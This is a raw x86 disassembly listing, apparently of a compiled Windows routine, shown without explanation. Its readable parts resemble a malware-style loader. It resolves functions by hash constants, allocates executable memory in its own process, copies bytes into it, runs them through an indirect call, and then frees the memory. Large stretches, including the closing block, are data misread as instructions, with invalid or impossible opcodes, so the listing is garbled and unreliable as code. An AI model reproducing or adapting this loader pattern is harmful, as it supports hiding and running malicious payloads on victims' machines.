lea ebx, [esp + 4]
xor ecx, ecx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
movzx ecx, byte [esp + 4]
mov byte [edx + 4], cl
add edx, 5
jmp 0x442975
invalid
test eax, 0x58249c8b
add al, byte [eax]
add byte [ebx + 0x2542484], cl
add byte [eax], al
mov ebx, dword [esp + 0x258]
mov eax, dword [esp + 0x254]
mov esi, 0x4473bb
mov edi, edx
mov ecx, 1
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
lea esi, [edx + 4]
mov ebp, 0x4473bf
mov edi, esi
xor ecx, ecx
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
lea eax, [esp + 0x14]
mov edi, esi
mov ecx, 4
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
lea edi, [edx + 0x14]
lea eax, [esp + 0x24]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
movzx eax, byte [esp + 0x26]
mov byte [edx + 0x16], al
lea ecx, [esp + 0x40]
mov eax, ecx
neg eax
lea ebx, [edx + eax]
add ebx, 0x17
sub edx, ecx
mov esi, dword [esp + 0x25c]
mov dword [esp], 0
add byte [eax], al
add byte [ebx + 0x548970c2], al
and al, 0x2c
add byte [eax], al
add byte [ebx + 0x548970c2], al
and al, 0x2c
mov dword [esp + 8], 0xfcfdfafb
mov word [esp + 0xc], 0
mov eax, 0x6e7ce22a
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x6e7ce222]
mov edx, ecx
and edx, eax
ret 0xd200
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x2e
mov byte [esp + eax - 0x6e7ce222], cl
inc eax
cmp eax, 0x6e7ce230
jne 0x442a70
ret 0xd200
mov eax, dword [esp + 8]
mov ecx, dword [0x44fabc]
mov esp, 0x850044fa
leave
mov esp, 0x850044fa
leave
je 0x442aec
xor edx, edx
mov edi, dword [0x44fac0]
nop
nop
nop
cmp dword [edi + edx*8], 0xf3285e74
je 0x442ac0
inc edx
cmp ecx, edx
jne 0x442ab0
jmp 0x442aec
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x442aec
lea eax, [esp + 0x2c]
mov edx, esp
push 0x40
sub al, 0x89
loop 0x442b39
inc eax
push 0x3000
push eax
push 0
push edx
push 0xffffffffffffffff
push 6
push dword [0x44fac4]
push ecx
call fcn.00440ac0
add esp, 0x24
test eax, eax
js 0x442be0
mov eax, dword [esp]
mov edx, 0x446b85
mov edi, eax
mov ecx, 0x16
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [eax + 0x58]
mov edx, 0x446bdd
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
mov byte [eax + 0x58], 0x24
mov eax, dword [esp]
lea edi, [eax + 0x59]
mov ecx, ebx
shr ecx, 2
lea edx, [esp + 0x40]
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov ecx, ebx
and ecx, 0xfffffffc
add eax, ecx
add eax, 0x59
enter 0xffffffffffffc083, 0x59
lea edx, [esp + ecx]
add edx, 0x40
mov ecx, ebx
shr ecx, 1
and ecx, 1
mov ebp, edx
mov edi, eax
xchg esi, ebp
rep movsw word es:[edi], word [esi]
xchg esi, ebp
test bl, 1
je 0x442b64
and ebx, 2
movzx ecx, byte [edx + ebx]
mov byte [eax + ebx], cl
mov eax, dword [esp]
lea ecx, [eax + 0x59]
push esi
push ecx
call eax
mov ebp, edx
mov dword [esp + 0x28], 0
mov dword [esp + 8], 0xfcfdfafb
mov word [esp + 0xc], 0
mov ecx, 0x6e7ce22a
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x6e7ce222]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x2e
mov byte [esp + ecx - 0x6e7ce222], dl
inc ecx
cmp ecx, 0x6e7ce230
jne 0x442b90
mov ecx, dword [0x44fabc]
test ecx, ecx
je 0x442c1f
mov esi, dword [esp + 8]
xor edi, edi
mov ebx, dword [0x44fac0]
nop
nop
cmp dword [ebx + edi*8], 0x731cdbf3
je 0x442be7
inc edi
cmp ecx, edi
jne 0x442bd0
jmp 0x442c1f
mov ebp, eax
sar ebp, 0x1f
jmp 0x442c1f
mov ecx, dword [ebx + edi*8 + 4]
cmp ecx, esi
je 0x442c1f
lea edx, [esp + 0x28]
mov esi, esp
push 0x8000
push edx
push esi
push 0xffffffffffffffff
push 4
push dword [0x44fac4]
push ecx
mov esi, eax
call fcn.00440ac0
mov eax, esi
add esp, 0x1c
jmp 0x442c1f
mov eax, 0xffffffff
mov ebp, 0xffffffff
mov edx, ebp
add esp, 0x240
pop esi
pop edi
pop ebx
pop ebp
ret 0x10
test eax, 0xa74e0043
inc ebx
add byte [ecx + ebp*4 - 0x564effbd], bh
inc ebx
add byte [ecx - 0x75ffbc57], dh
test al, 0x43
add bl, dh
test al, 0x43
add byte [eax - 0x1cffbc58], dh
test al, 0x43
add bl, dh
test al, 0x43
add byte [eax], al
test eax, 0xa9090043
inc ebx
add byte [ebx - 0x67ffbc59], dh
test eax, 0xa7b30043
inc ebx
add al, al
cmpsd dword [esi], dword es:[edi]
inc ebx
add bh, bl
cmpsd dword [esi], dword es:[edi]
inc ebx
add dh, cl
cmpsd dword [esi], dword es:[edi]
inc ebx
add bh, bl
cmpsd dword [esi], dword es:[edi]
inc ebx
add byte [eax], al
test al, 0x43
add al, dh
cmpsd dword [esi], dword es:[edi]
inc ebx
add al, dh
cmpsd dword [esi], dword es:[edi]
inc ebx
add dl, dh
cmpsd dword [esi], dword es:[edi]
inc ebx
add al, dh
cmpsd dword [esi], dword es:[edi]
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add ch, cl
test eax, 0xa8740043
inc ebx
add byte [eax - 0x58], ah
inc ebx
add byte [edi], al
stosb byte es:[edi], al
inc ebx
add byte [esi], cl
stosb byte es:[edi], al
inc ebx
add bh, bh
stosb byte es:[edi], al
inc ebx
add byte [ebx], bl
lodsb al, byte [esi]
inc ebx
add bh, bh
stosb byte es:[edi], al
inc ebx
add byte [esp + ebp*4 + 0x43], ah
add byte [eax - 0x54], al
inc ebx
add byte [ecx - 0x1fffbc54], bh
lodsb al, byte [esi]
inc ebx
add ah, ch
lodsb al, byte [esi]
inc ebx
add al, ah
lodsb al, byte [esi]
inc ebx
add al, dl
lodsb al, byte [esi]
inc ebx
add byte [eax + 0x2a0043c7], cl
ret